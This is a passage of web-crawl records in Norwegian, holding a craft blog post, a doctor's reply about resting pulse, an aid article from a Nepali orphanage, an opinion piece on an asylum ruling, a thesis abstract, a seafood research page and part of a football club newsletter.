{"url": "https://vibekedesign.blogspot.com/2011/07/na-om-kveldene-kommer-de-mest.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:21:23Z", "text": "\n## l\u00f8rdag 30. juli 2011\n\n\n\n  \n\n\nN\u00e5 om kveldene kommer de mest fantastiske farger opp p\u00e5 himmelen...og man kan bare sitte \u00e5 **SE**...  \nog beundre .Det er s\u00e5\u00e5\u00e5\u00e5 vakkert.Nyt sommerkveldene dere.Klem klem\n\n Lagt inn av Vibeke S\u00e6ther Svenningsen   19.19 l\u00f8rdag, juli 30, 2011        \n\n    \n\n## Velkommen \\!\n\n  \n\n    \n\nJeg er Vibeke \\!  \nJeg bor i vakre Norge,og elsker den skandinaviske stilen.  \nHelt siden jeg var ei lita jente har jeg likt \u00e5 fylle dagen med  \nkreative sprell. Jeg har stort sett et prosjekt p\u00e5 gang,alt fra maling av malerier til oppussing av gamle m\u00f8bler.  \nJeg er en loppistraver av de store og elsker den landlige hvite stilen.  \nHyggelig at nettopp DU vil f\u00f8lge med p\u00e5 mine sprell :)  \n  \n  \n    \n\n  \n  - \n    \n    Ei vakker lita jente p\u00e5 bes\u00f8k....\n\n  - \n    \n    Vakker forvandling \\!\n\n", "language": "no", "__index_level_0__": "8d1f8588-738f-469f-8473-cd60096b9f6f"}
{"url": "https://www.lommelegen.no/hjerte-og-kar/puls/legesvar/hvilepuls/69458020", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:18:19Z", "text": "# Hvilepuls\n\n \n\nSp\u00f8rsm\u00e5l\n** publisert 13. februar 2018\n\nHei\\! Eg er henvist til utredning for ME. Men er litt i stuss p\u00e5 pulsen min.. Kvilepuls n\u00e5r eg ligger i senga har v\u00e6rt heilt ned i 38 og ligger som regel p\u00e5 40 tallet. Har og opplevd kvilepuls p\u00e5 40 tallet n\u00e5r eg ligger i sofaen. Men straks eg reiser meg og henter et glass vatn er den opp i b\u00e5de 80 og over 90. Om eg b\u00e6rer minstemann p\u00e5 ca 10 kg i 1-2 minutter er pulsen over 115. Eg blir uvel, kjenner hjertebank, andpusten og er ofte svimmel n\u00e5r eg reiser meg og st\u00e5r oppreist. Om eg reiser meg og st\u00e5r i ro \u00f8ker pulsen til mellom 70 og 80. I tillegg har eg fin blodprosent, grenseland lav d vitamin og fosfat. Ellers er utvida blodpr\u00f8ver fine. Eg er ikkje forskj\u00f8la eller sjuk i den forstand og har god mental helse uten angst og slikt som kan p\u00e5virke pulsen. Eg har ikkje matlyst lengre. Men har begynt \u00e5 innta proteinshakes og m\u00e5ltidserstattere i flytende form. Funksjonsniv\u00e5et mitt er sv\u00e6rt redusert, mykje sengeliggende, klarer Max \u00e5 dusje 1 gang for veka, gj\u00f8r ingenting av husarbeid og mannen tar seg av barna. Er kun ute av huset om det er absolutt n\u00f8dvendig. Eg er 67 kg og 163 h\u00f8g om det har noko \u00e5 sei. Kan eg vente til den delen i utredninga som g\u00e5r p\u00e5 hjertet eller er dette eg burde f\u00e5 sjekka raskt? Vi har hjerte og karsjukdommar i familien, men alle var opp i \u00e5ra n\u00e5r dei fekk problem.\n\nKvinne 33\n\n** publisert 13. februar 2018\n\n  Hans Thorbj\u00f8rn Rydningen HJERTE- OG KARSYKDOMMER \n\nHei \\!\n\nDu er henvist til utredning av ME. Du har en lav hvilepuls mellom 38 til 40, men den \u00f8ker til 80-90 slag/minutt ved \u00a0relativt sm\u00e5 anstrengelser. Den \u00f8ker til 115 ved relativt sm\u00e5 anstrengelser. Du har en en normal blodprosent.Du har et redusert funskjonsniv\u00e5. Du veier 67 Kg og er 163 cm h\u00f8y. Du har begynt \u00e5 ta m\u00e5ltidserstattere i flytende form. Normal hvilepuls ligger i omr\u00e5det 50-80. Du har vanligvis ned mot 40. Dette er lavt. Du har f\u00e5tt p\u00e5vist noe lavt fosfat , andre viktige stoffer for hjertefunksjonen er Kalsium og Magnesium. Videre vil det ikke viljestyrte nervesystemet- det autonome nervesystemet- p\u00e5virke hjertefrekvensen din. Din maksimale puls er omtrentlig (220-33) slag/min. Du har en normal pulsrespons fra liggende til st\u00e5ende, og hjertet ditt \u00f8ker frekvensen ved arbeid. Dette er normalt. Hjerteminuttvolumet- det vil si- hvor mye blod hjertet pumper ut i minuttet \u00a0vil avhenge av slagvolumet og hjertefrevens. Dersom du ikke drikker nok s\u00e5 kan du bli det vi kaller dehydrert. Det vil si at du har for lite v\u00e6ske i kroppen og i blodbanen. For \u00e5 oppretteholde hjerteminuttvolumet, vil da pulsen \u00f8ke , spesielt ved fysisk arbeid. Hjerterytmen din kan forklares ut fra normal fysiologi og tilpasning til hvordan du lever. Det er derfor ikke sannsynlig at det er noe galt med hjertet ditt. Du kan derfor vente til den delen i utredninga som omhandler hjertet ditt, og du beh\u00f8ver ikke \u00e5 sjekke dette raskt. Du m\u00e5 pr\u00f8ve \u00e5 f\u00e5 i deg n\u00e6ringsstoffer og nok v\u00e6ske.\n\nJeg \u00f8nsker deg god bedring \\!\n\n  \n# Har hatt hormonspiral i ett \u00e5r. Opplever smerter ved samleie.\n\n# Risiko f\u00f6r sepsis\n\n# Funn p\u00e5 CT colon\n\n# Plutselig kom det mange tusen anbefalinger fra forn\u00f8yde kunder\n\nfra COLLAGEN PLUS0\n\n# Urolig mage, vektoppgang\n\n# Bl\u00e5merker\n# Karbohydrater for viderekomne\n\n", "language": "no", "__index_level_0__": "b6ca5d8f-3719-47ea-80a9-6bbb2536b088"}
{"url": "http://bistandforbarn.no/utskriftvennlig/3233", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:19:05Z", "text": "# \u2013 Jeg trodde ikke jeg dugde til noe\n\nTekst: Birgitte L\u00f8es og Leif Erling Aasan, frivillige prosjektledere for Aktiv fritid // Dato: 11-07-2012\n\nP\u00e5 barnehjemmet Bal Mandir i Kathmandu bor det over 200 barn i alderen nyf\u00f8dt til 18 \u00e5r. F\u00f8r Bistand for barn satte i gang prosjektet Aktiv Fritid i 2008, hadde de ingen aktivitetstilbud utenom tiden de gikk p\u00e5 skolen.\n\n\u2013 F\u00f8r var det ingen som stilte krav til meg om \u00e5 g\u00e5 p\u00e5 skolen eller \u00e5 gj\u00f8re lekser. Jeg gjorde det d\u00e5rlig og trodde ikke jeg dugde til noe. N\u00e5 f\u00e5r jeg leksehjelp en time hver dag, ogs\u00e5 p\u00e5 l\u00f8rdag som er fridag. Siden jeg gj\u00f8r en god innsats f\u00e5r jeg lov til \u00e5 spille fotball. Jeg skulle gjerne spilt basketball ogs\u00e5, men leksehjelpen og treningen er p\u00e5 samme tid. Jeg er veldig, veldig heldig. Jeg merker at selvtilliten min \u00f8ker, og jeg gj\u00f8r det ganske bra p\u00e5 skolen n\u00e5.\n\nSunita er 14 \u00e5r og det lyser i \u00f8ynene hennes n\u00e5r hun forteller om livet sitt etter at Aktiv Fritid ble opprettet. Hun er en av mange barn i det gamle nepalske fyrsteslottet som har f\u00e5tt muligheten til \u00e5 fylle fritiden sin med spennende aktiviteter. M\u00e5let med prosjektet er at barna som bor ved barnehjemmet, skal f\u00e5 sjansen til \u00e5 utvikle seg som selvstendige mennesker.\n\n## \u2013 Ny selvtillit\n\nP\u00e5 en liten r\u00f8d stol n\u00e6r vinduet sitter Balika. Hun 18 \u00e5r gammel, med langt sort h\u00e5r og et r\u00f8dt pannemerke. Det fritidstilbudet hun setter aller mest pris p\u00e5 er trekkingturene (lange fotturer, red. anm.) i Himalaya.\n\n\u2013 Du vet, det er sjelden at jenter fra Kathmandu kommer p\u00e5 trekking, og nesten utrolig at en som er vokst opp p\u00e5 barnehjem gj\u00f8r det\\! Det er bare turister som g\u00e5r p\u00e5 trekking, ikke vanlige nepalere. Jeg likte den friske luften og den gode osten de lager der. Jeg turte ogs\u00e5 \u00e5 snakke med fremmede og opplevde en ny selvtillit jeg ikke visste at jeg hadde. Jeg fikk se livet i landsbyer og l\u00e6rte veldig mye nytt. Turen, og det at vi har blitt s\u00e5 gode i basketball, betyr veldig mye for meg.\n\n## Leksehjelp\n\nDaglig leder ved Bal Mandir, Rebecca Ordish, er sv\u00e6rt forn\u00f8yd med prosjektet til Bistand for barn. Hun har jobbet p\u00e5 barnehjemmet siden den australske stiftelsen Mitrataa overtok driften i mai i fjor.\n\n\u2013 Da vi overtok, var det mange av barna som hadde sluttet p\u00e5 skolen. For \u00e5 motivere dem til \u00e5 fortsette s\u00e5 vi at det ikke var nok \u00e5 skifte skole eller tilby leksehjelp, vi stilte ogs\u00e5 krav til bruk av fritiden. Hvis de \u00f8nsket \u00e5 delta i Aktiv Fritid, m\u00e5tte de gj\u00f8re avtale med oss om \u00e5 g\u00e5 p\u00e5 skolen, og samtidig \u00e5 delta p\u00e5 n\u00f8dvendig leksehjelp. Alle barna f\u00e5r n\u00e5 delta p\u00e5 minst ett fritidstilbud. De som er ekstra skoleflinke klarer seg ofte fint uten leksehjelp, og har dermed tid til \u00e5 delta p\u00e5 flere aktiviteter.\n\nAktiv fritid i Nepal gir barna p\u00e5 Bal Mandir muligheten til \u00e5 f\u00e5 andre erfaringer enn oppveksten p\u00e5 et barnehjem ellers kan gi. Mye handler om \u00e5 bli sett og f\u00e5 trygge rammer til \u00e5 pr\u00f8ve nye ting, oppleve mestringsglede og fellesskap, sette seg m\u00e5l og n\u00e5 dem.\n", "language": "no", "__index_level_0__": "ed11b733-5629-44da-9c91-0d9aa0a885fb"}
{"url": "http://erikstephansen.blogg.no/1489417655_en_korrekt__og_rav_ruskende_gal_dom.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:13:54Z", "text": "\n\n# \n\n# En korrekt - og riv ruskende gal dom\n\n  \n*At Mahad Abib Mahamud er dyktig i jobben som bioingeni\u00ddr er ikke et bra nok argument for domstolen.\u00a0Foto: privat.*  \n\u00a0\n\n**Bioingeni\u00ddren Mahad Abib Mahamud ble ikke trodd, og tapte saken mot staten i Oslo tingrett.\u00a0Jeg vil ikke argumentere mot dommen,\u00a0men mener likevel det er riv\u00a0ruskende galt \u015a utvise en dyktig arbeidstaker som har bodd 17 \u015ar i Norge.**\n\nStikkordet er foreldelse.\n\nFor \u015brlig talt, folkens.\u00a0Han kom hit som 14-\u015aring. Han var i\u00a0begynnelsen av ten\u015arene. Alene. La oss g\u015a ut fra at tingretten har rett - at han faktisk l\u00ddy. At han opprinnelig kom fra Djibouti, men diktet opp en historie om at han vokste opp i farlige Mogadishu i Somalia - rett og slett fordi han hadde h\u00ddrt at det var det som m\u015atte til for \u015a f\u015a asyl i rike Norge. Det ville\u00a0kanskje jeg ogs\u015a gjort.\n\nLikevel: Om han l\u00ddy, s\u015a er dagens dom\u00a0i Oslo tingrett logisk og korrekt:\u00a0Dommeren\u00a0tror ikke p\u015a ham,, men mener at dokumentene og indisiene som er lagt fram gj\u00ddr det overveiende sannsynlig at Mahamud\u00a0opprinnelig er\u00a0fra Djibouti. Da skal han utvises. Slik er loven.\n\nDerfor mener jeg ogs\u015a at kritikken mot UDI og UNE har v\u015brt uberettiget. De har gjort det de skal gj\u00ddre. De fikk et tips om at her var en asyls\u00ddker som ikke hadde rent mel i posen, og som dermed m\u015atte unders\u00ddkes, og det\u00a0gjorde de. \u0147 hetse saksbehandlere fordi de f\u00ddlger instruksen i jobben sin, er usaklig.\n\nRett m\u015al for eventuell kritikk er tvert om politikerne og partiene p\u015a Stortinget.\n\nDet er de som er lovgivere, og som nesten enstemmig har bestemt hvordan Utlendingsloven skal formuleres. Og loven er klar: Om du ikke snakker sant n\u015ar du sender inn en asyls\u00ddknad, skal du utvises.\u00a0Og det finnes ikke unntak for loven. Det hjelper ikke om du er flink i jobben din, eller p\u015a annen m\u015ate har gjort deg \"fortjent\" til \u015a f\u015a bli her, som mange har argumentert med.\n\nDet finnes ikke *en* lov for folk som har skaffet seg arbeid, og en *annen* lov for arbeidsledige.\n\nLikevel er det lett \u015a forst\u015a de 40 000 som p\u015a ulik m\u015ate har demonstrert til st\u00ddtte for bioingeni\u00ddren p\u015a Ullev\u015al. For her er tydeligvis noe som skurrer i folks rettsoppfatning.\n\n**LES OGS\u0147 SOPHIE ELISE:**\u00a0N\u015a er det faen meg nok\\!\n\nMen hva er det som skurrer? Hva er det som gj\u00ddr at s\u015a mange reagerer p\u015a \u015a sende ut en mann som har bodd her i 17 \u015ar?\n\nEtter min mening er svaret enkelt:\u00a0\n\nJo, nettopp det at han har bodd her i 17 \u015ar.\n\nFor selvsagt burde ogs\u015a slike saker ha foreldelsesfrist. P\u015a samme m\u015ate som de fleste andre\u00a0forbrytelser har det,\u00a0b\u00ddr ogs\u015a l\u00ddgn i en asyls\u00ddknad kunne foreldes. P\u015a andre omr\u015ader er det slik at jo mer alvorlig forbrytelsen er, jo lenger er foreldelsesfristen. Se for eksempel Straffelovens tabell\u00a0under:\n\n  \n*Kidnapping, grov vold og menneskehandel\u00a0er foreldet etter ti \u015ar. Det samme gjelder grovt skattesvik og grove bedragerier. Kilde: Lovdata.*\n\n\u00a0\nI dag er det slik at mord blir foreldet (\\*se korreksjon). Overfall og voldtekt blir foreldet. Og \u00ddkonomisk kriminalitet blir foreldet.\u00a0Men alts\u015a ikke\u00a0l\u00ddgn i en asyls\u00ddknad.\n\nSom eneste parti p\u015a Stortinget har Milj\u00ddpartiet De Gr\u00ddnne\u00a0i dag varslet et lovforslag om at statsborgerskap ikke b\u00ddr kunne trekkes tilbake, selv om det er gitt p\u015a et uriktig grunnlag. Argumentet er at dagens ordning gir en slags A- og B-statsborgerskap.\n\nDet er fors\u015avidt en prinsipiell begrunnelse, men som alle andre partier er uenige i. Ogs\u015a jeg synes det er er d\u015arlig - fordi ogs\u015a dette s\u015a\u00a0\u015apenbart vil stride mot manges rettsf\u00ddlelse: En som har l\u00ddyet seg til statsborgerskap, og som s\u015a blir avsl\u00ddrt\u00a0etterp\u015a, b\u00ddr ikke automatisk ha skaffet seg en slags \"immunitet\" som aldri kan oppheves.\u00a0Da er jo statsborgerskapet gitt p\u015a feil grunnlag.\n\nMen stikkordet er igjen foreldelse.\n\nOm en slik foreldelsesfrist ble satt til for eksempel ti \u015ar, som vil samsvare med grovt bedrageri, vil det gi et klart signal til utlendingsmyndighetene: Det er selvsagt de som fors\u00ddker \u015a lyve seg inn *n\u015a*, vi er mest opptatt av. Det er de som gir signaleffekt. Det vil ogs\u015a gi et kraftig signal til byr\u015akratiet om \u015a sette fart i saksbehandlingen, og til bevilgende myndigheter om \u015a sette inn de ressursene som trengs for at ikke saker skal trekke ut i det absurde.\n\nDa vil riktig nok noen juksemakere\u00a0klare \u015a komme seg unna.\n\nMen det kan vi leve med, p\u015a samme m\u015ate som vi lever med at enkelte bedragere, menneskesmuglere, voldtektsforbrytere og mordere kommer seg unna.\n\n\u00a0\n*Korreksjon: Jeg er gjort oppmerksom p\u015a at mord og voldtekt ikke lenger foreldes etter den nye straffeloven av 2015. Jeg fastholder likevel mitt poeng.*\n\n**LES OGS\u0147 GUNNAR STAVRUM**\u00a0Tilgir grov vold men ikke asyljuks\n\n\u00a0\n# Om meg\n## Erik Stephansen\n\n", "language": "no", "__index_level_0__": "94fb3e55-3aca-44e7-bfe9-1707e491a7b6"}
{"url": "https://munin.uit.no/handle/10037/6689", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:07:22Z", "text": "##### Sammendrag\n\nIntroduksjon I Norge har man, med bakgrunn i europeiske satsningsomr\u00e5der, utarbeidet en kvalitetsreform og et kvalifikasjonsrammeverk for h\u00f8yere utdanning. Her st\u00e5r det at det skal legges vekt p\u00e5 valgfrihet i studiel\u00f8pene. Ved medisinstudiet i Troms\u00f8 har man drevet med valgfri undervisning siden dets oppstart i 1973. I 2. \u00e5rs valgfriperiode er det satt av fire uker til arbeid med et selvstendig prosjekt. Det foreligger ingen studier av det som gj\u00f8res i denne perioden, og man trenger empirisk grunnlag for \u00e5 diskutere og forbedre denne valgfriperioden i den nye studieplanen. Har \u00f8kt fokus p\u00e5 valgfrihet f\u00f8rt til at man stiller for lave krav til studentene? Materiale og metode Sp\u00f8rreunders\u00f8kelse p\u00e5 MK-11 v\u00e5ren 2013 med sp\u00f8rsm\u00e5l om reisevirksomhet, tid brukt p\u00e5 prosjektet, oppf\u00f8lging fra veileder, og utbytte. Systematisk gjennomgang av 47 prosjektrapporter fra et anonymisert kull. Resultater 74 % (72/97) svarte p\u00e5 sp\u00f8rreunders\u00f8kelsen. 58 (80,6 %) av respondentene reiste i forbindelse med valgfri periode, 25 (43,1 %) av disse valgte reisem\u00e5l f\u00f8r de valgte problemstilling. De som reiste brukte i gjennomsnitt 28,6 dager p\u00e5 selve reisen, og 8,3 dager p\u00e5 selve prosjektet. De som ikke reiste brukte i gjennomsnitt 12 dager. Flere omtalte valgfriperioden som ferie. 1/3 var misforn\u00f8yde med oppf\u00f8lging fra veileder. 2/3 var forn\u00f8yde med prosjektrapporten, litt over halvparten var forn\u00f8yd med det faglige utbyttet, og 4/5 var forn\u00f8yde med det personlige utbyttet. En del av prosjektrapportene var veldig gode, men alt for mange var av d\u00e5rlig kvalitet. Diskusjon \u00d8kt fokus p\u00e5 valgfrihet og l\u00e6ringsutbytte har absolutt sine fordeler. Samtidig kan man ikke rettferdiggj\u00f8re fire ukers undervisningsfri kun p\u00e5 bakgrunn av studentenes personlige utbytte. Valgfriperioden fremst\u00e5r i mange tilfeller som en ferietur, veileder gir for d\u00e5rlig oppf\u00f8lging, og det stilles for lave krav til arbeidet som blir gjort. Alt dette kan forbedres med enkle grep, og dette b\u00f8r man ta stilling til i den nye studieplanen.\n\n", "language": "no", "__index_level_0__": "40420512-c963-4051-9383-9ebe1019b75a"}
{"url": "http://uni.no/en/uni-health/rkbu-vest/seafood-and-mental-health/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:20:10Z", "text": "  - \n  - \n  - \n  - \n  - \n  - \n\n\u00a0\n###### **Fotograf: Emil Breistein**\n\n**I utgangspunktet fant ikke forskerne forskjell p\u00e5 barna som spiste fisk og p\u00e5 de som spiste kj\u00f8tt. Men n\u00e5r forskerne tok\u00a0hensyn til mengden mat barna spiste, fant de at barna som spiste fisk fikk bedre resultat p\u00e5 kognitive tester enn barna som spiste kj\u00f8tt.\u00a0**\n\nDette fant forskerne da 232 barnehagebarn ble fordelt i to grupper der den ene fikk fet fisk og den andre kj\u00f8tt til lunsj tre dager i uken i 16 uker. Etterp\u00e5 testet de barnas spr\u00e5klige ferdigheter, hukommelse, hurtighet, finmotorikk og evnen til \u00e5 tolke figurer. De fant st\u00f8rst endring p\u00e5 hurtighet, det \u00e5 gj\u00f8re oppgaver raskt. Resultatene er publisert i det vitenskapelige tidsskriftet BMC Medicine.  \n**Ni av ti bergenske niendeklassinger spiser mindre enn den anbefalte mengden med frukt og gr\u00f8nt, viser en fersk unders\u00f8kelse. En av fire spiser fisk sjeldnere enn \u00e9n gang i m\u00e5neden.**  \nTallene kommer fra\u00a0et\u00a0spisefors\u00f8k blant niendeklassinger ved \u00e5tte ungdomsskoler i Bergen i fjor ble deltakerne bedt om \u00e5 fylle ut et kostholdskjema om matvanene sine. Her svarte de p\u00e5 hvor ofte de spiser ulike matvarer, og resultatene er n\u00e5 publisert i det vitenskapelige tidsskriftet Nutrients.  \n## About the project\n\nForskere ved RKBU er med i fire del-prosjekter der de ser p\u00e5 betydningen av sj\u00f8mat for kognitive presentasjoner og psykisk helse.\u00a0Studiene er en del av Fish Intervention Studies (FINS), som er et tverrfaglig forskningsprosjekt ledet av Nasjonalt institutt for ern\u00e6rings- og sj\u00f8matforskning (NIFES).\n\n-----\n\n**Mammas mat**  \nForm\u00e5let med prosjektet er \u00e5 se p\u00e5 hvordan mors kosthold under graviditeten p\u00e5virker barnets utvikling. I studien f\u00e5r en gruppe gravide torskefilet til middag to ganger i uken, mens en annen gruppe fortsetter med sitt vanlige kosthold. Vi kartlegger s\u00e5 barnets utvikling og kognitive funksjon p\u00e5 ulike tidspunkt fram til det er ett \u00e5r. Om mulig, \u00f8nsker vi \u00e5 f\u00f8lge barna videre til de er 4 -5 \u00e5r.\u00a0Les mer om prosjektet her \\>\\>\u00a0\n\nPersoner:  \n\u200bMari Hysing  \nIngrid Kvestad  \nMonica Berge\n\n-----\n\n**Barnehageprosjektet**  \nKjell Morten Stormark  \nIngrid Kvestad  \nMari Hysing\n\n-----\n\n**Skoleprosjektet**  \n\nPersoner:  \nKjell Morten Stormark  \nSiv Skotheim\n\n-----\n\n**Liten i Norge (ern\u00e6ringsdelen)\u00a0**  \n", "language": "no", "__index_level_0__": "f5dad6c4-4f23-47f3-baef-8f63880b8507"}
{"url": "http://docplayer.me/4189395-Lederen-har-ordet-nr-02-2003-www-kurlandfk-no-kureren.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:33:47Z", "text": "3 LEDEREN HAR ORDET F O R T S. F R A S I D E 2 I tillegg til \u00e5 gi jentene samme mulighetene som guttene rent formelt har nok ogs\u00e5 andre faktorer spilt vesentlig inn. KFK har aldri l\u00f8nnet sine trenere i barne- og ungdomsfotballen. Klubben har derfor i liten grad kunnet styre trenere til forskjellige lag etter behov. Det milj\u00f8et som oppsto rundt ildsjeler som Ole og Lars Mangen, bidro til at det ble morsomt \u00e5 v\u00e6re trener for jentelag i KFK. P\u00e5 denne m\u00e5ten ble det rekruttert uvanlig mange dyktige trenere til jentefotballen. I tillegg har vi v\u00e6rt heldige med at en del av jentene har hatt fedre som har v\u00e6rt sv\u00e6rt gode trenere. Dyktige trenere har ikke v\u00e6rt overrepresentert p\u00e5 dette omr\u00e5det. I enda st\u00f8rre grad enn p\u00e5 jentesiden er rekrutteringsomr\u00e5det p\u00e5 guttesiden avgrenset til inntaksomr\u00e5det til Kurland skole. I gode \u00e5r med mange elever klarer vi \u00e5 lage stabile og store grupper p\u00e5 alle alderstrinn for gutter. Men det skal ikke mer til enn et lite kull eller litt slurv med driften f\u00f8r laget ryker n\u00e5r guttene begynner med 11er. I tillegg er vi veldig s\u00e5rbare dersom de beste spillerne bytter til en st\u00f8rre klubb. Det har vist seg p\u00e5 mange kull at laget lett blir borte dersom naboklubbene henter v\u00e5re spillere allerede p\u00e5 sm\u00e5gutteniv\u00e5. KFK er derfor avhengig av \u00e5 ha et tilbud som er nesten like bra som de st\u00f8rste naboklubbene for \u00e5 beholde lag ut junioralder. Dette kan lett komme i konflikt med \u00f8nsket om \u00e5 beholde ogs\u00e5 de som ikke er villige til \u00e5 bruke s\u00e5 mye tid p\u00e5 fotball. Siden oppstarten har vi skaffet oss egen bane og deretter eget klubbhus. Begge deler i godt samarbeid med L\u00f8renskog kommune og stor dugnadsinnsats blant v\u00e5re medlemmer. I sin tid var dette en stor forbedring. Men utviklingen har g\u00e5tt videre etter dette. KFK er n\u00e5 i ferd med \u00e5 bli den klubben i n\u00e6romr\u00e5det med d\u00e5rligst kvalitet p\u00e5 trenings- og kampfasilitetene. Selv om vi har tilgang p\u00e5 tid p\u00e5 den nye kunstgressbanen p\u00e5 Torshov er forbedring p\u00e5 anleggsituasjonen den st\u00f8rste utfordringen klubben st\u00e5r ovenfor de kommende \u00e5rene. Vi har store forh\u00e5pninger til det videre samarbeidet med L\u00f8renskog kommune, idrettsr\u00e5det og fotballkretsen p\u00e5 dette omr\u00e5det. Jubileums\u00e5ret har blitt markert med ulike arrangement i l\u00f8pet av sesongen. Den formelle markeringen var en jubileumsbankett med over 100 gjester 4. oktober. Det var meget hyggelig \u00e5 treffe igjen representanter for alle historiske epoker i klubben. Vi b\u00f8r ikke vente 15 \u00e5r til neste gang. Selv om vi har sett mye bakover dette \u00e5ret, har vi ikke glemt n\u00e5tiden. Sesongen 2003 har vi hatt tilbud om organisert fotball for alle uansett kj\u00f8nn og alder. Vi har riktignok manglet et oldgirls-lag. Vi h\u00e5per \u00e5 f\u00e5 p\u00e5 plass et tilbud for damer over divisjonsalder i l\u00f8pet av de kommende sesongene. Rekrutteringen har v\u00e6rt god, selv om det har vist seg vanskelig \u00e5 f\u00e5 med s\u00e5 mange jenter som vi \u00f8nsker oss p\u00e5 minilagene. Sportslig sett har ogs\u00e5 sesongen v\u00e6rt god. B\u00e5de jenter og juniordamer ble kretsmestere. Menn senior klarte \u00e5 overleve i 3. div. med meget begrensede ressurser. Kvinner senior vant sin h\u00f8stavdeling uten \u00e5 avgi poeng. Vi har ogs\u00e5 i \u00e5r hatt mange spillere med p\u00e5 sone- og kretslagsaktiviteter. \u00d8konomisk har det ikke g\u00e5tt s\u00e5 bra som \u00f8nsket. Vi g\u00e5r med et greit driftsoverskudd, men det er ikke blitt s\u00e5 stort som vi \u00f8nsket oss. Skal vi lykkes med \u00e5 utvikle anleggene v\u00e5re m\u00e5 vi trolig klare \u00e5 sette av kr ,- til investeringer \u00e5rlig. Det har vist seg vanskelig \u00e5 f\u00e5 med nok personer til \u00e5 \u00f8ke inntektssiden vesentlig. Det synes som det blir n\u00f8dvendig \u00e5 kutte kostnader. M\u00f8t derfor opp p\u00e5 \u00e5rsm\u00f8tet torsdag 27. november kl p\u00e5 klubbhuset og bli med p\u00e5 prioriteringsdiskusjonen. 3\n\n4 KUREREN BLIR F\u00d8DT KUREREN blir f\u00f8dt\\! MAGNE ANDERSEN SPANIA Turbulent periode I min tid som formann i KFK, fra 1981 til 1983, var klubben inne i en virkelig turbulent periode. I 10-\u00e5rs jubileumsutgaven av Kureren ble denne perioden betegnet som de vanskelige \u00e5rene. Klubben var relativt ny og hadde fremdeles store problemer med \u00e5 f\u00e5 kommunen til \u00e5 akseptere fotballklubben som et seri\u00f8st foretagende, og ikke bare en ny overfl\u00f8dig utgiftspost p\u00e5 idretts- og anleggsektoren. Men vi kranglet oss p\u00e5 et vis videre, og la beslag p\u00e5 alle ledige timer p\u00e5 Kurland skole vedr. bruk av gymsal, dusjer og klasserom. Og best av alt var at vi inntil videre fikk bruke skolens fotballbane. Oppmerking og vedlikehold sto vi for selv, og sn\u00f8m\u00e5kingen er et kapittel for seg. Men naboene til skolebanen ville etter hvert ikke ha oss der lenger. Ungene b\u00e5de banner og urinerer i hagene v\u00e5re, het det i avisoverskriftene. For striden vakte et voldsomt oppstyr, og det ble sv\u00e6rt opprivende m\u00f8ter med ordf\u00f8rer, kommune og skolemyndigheter. I tillegg slet vi med \u00e5 f\u00e5 barnas foreldre til \u00e5 engasjere seg. Klubbens virksomhet ble av mange betraktet som en billig barnehageplass, hvor barna kunne bortplasseres noen timer i uken. Men hederlige unntak fantes, og disse foreldrene - sammen med klubbens tillitsvalgte gjorde en kjempejobb i denne kritiske fasen. Kureren blir f\u00f8dt Midt oppe i dette ble Kureren f\u00f8dt. Hensikten med \u00e5 gi ut avisen var f\u00f8lgende: - Skape positiv omtale og legitimere klubben som et drivverdig og positivt tiltak for barna og n\u00e6rmilj\u00f8et p\u00e5 Kurland. - Gi klubben en klar profil og identitet. - Skape entusiasme og tilh\u00f8righet. I klubben startet vi arbeidet med \u00e5 skaffe ny bane, og i mellomtiden levde vi p\u00e5 omdisponeringer og dispensasjoner. Nye ledere slipper til Mens vi brukte (opp) kreftene p\u00e5 et slags etableringsniv\u00e5, kom etter hvert nye ledere inn i klubben med ideer, visjoner og planer for fremtiden. Jeg er glad for at avisa mi, Kureren, er h\u00f8yst oppeg\u00e5ende og ber\u00f8mmer alle som har v\u00e6rt involvert. Men mest glad og stolt er jeg for at min s\u00f8nn Rune som nesten ble flasket opp i klubben, fortsatt bidrar aktivt og positivt for klubben v\u00e5r. Lykke til med de neste 25 \u00e5r\\! Hilsen fra Magne 4\n\n5 ET LIV I OG MED kurland FK Et liv i og med Kurland FK I 1984 begynte livet mitt i KFK. Det \u00e5ret startet Jarle, s\u00f8nnen v\u00e5r og senere redakt\u00f8r i Kur\u00e9ren, som fotballspiller p\u00e5 MP7. Detaljene fra den tida har rent ut av hukommelsen som fett fra ei stekepanne med teflonbelegg, men treningene husker jeg i alle fall jeg s\u00e5 de fleste av dem. Dette var grunnen til at Arild Kallevig, dav\u00e6rende trener og altmuligmann, spurte om jeg ville hjelpe til med laget - du er jo her likevel\\!. Ung og viril som en var den gangen, ble svaret ja, uten altfor lang betenkningstid. Dermed begynte en lang karriere i klubben, som trener og aktivitetsleder for 1977-guttene, trener for 1981-guttene, hjelpetrener for 1981-jentene, medlem av st\u00f8tteapparatet for damelaget, redaksjonsmedlem i Kur\u00e9ren fra 1997 og redakt\u00f8r i ditto medlemsblad fra nummer til nummer Etter dette har Karen og jeg v\u00e6rt st\u00f8ttemedlemmer i Kurland Fotballklubb, noe vi vil fortsette med s\u00e5 lenge vi greier \u00e5 skrive navnet v\u00e5rt p\u00e5 et innbetalingskort. Som redakt\u00f8r opplevde man det samme som redaksjonene p\u00e5 begynnelsen av \u00e5rene innslagene fra de ulike lagene var f\u00e5 og ofte upresise. Redaksjonen besto av folk med mange jern i ilden, mange m\u00e5tte gi seg etter hvert, og p\u00e5 slutten drev man stort sett hele butikken sj\u00f8l, med Tom Lindemark trykkeren som eneste samarbeidspartner. Man var derfor veldig takknemlig ovenfor de f\u00e5, men gode, 